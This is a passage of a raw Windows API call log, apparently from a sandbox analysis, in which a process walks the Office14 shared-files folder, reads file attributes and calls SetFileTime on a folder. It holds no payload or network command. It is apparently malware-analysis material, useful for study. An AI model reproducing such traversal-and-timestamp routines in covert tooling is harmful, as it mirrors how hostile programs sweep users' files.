dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0048.951] GetLastError () returned 0x12 [0048.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0048.951] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e66e0) returned 1 [0048.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0048.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0048.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0048.953] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0048.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.953] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0048.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.953] NtClose (Handle=0x16c) returned 0x0 [0048.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e66e0) returned 1 [0048.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e66e0 [0048.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6c08 [0048.953] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0048.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0048.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6d10 [0048.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0048.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e58f8 [0048.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6e18 [0048.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0048.954] GetLastError () returned 0x12 [0048.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0048.954] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0048.954] GetLastError () returned 0x12 [0048.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e6c08) returned 1 [0048.954] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e6d10) returned 1 [0048.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e66e0) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0048.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 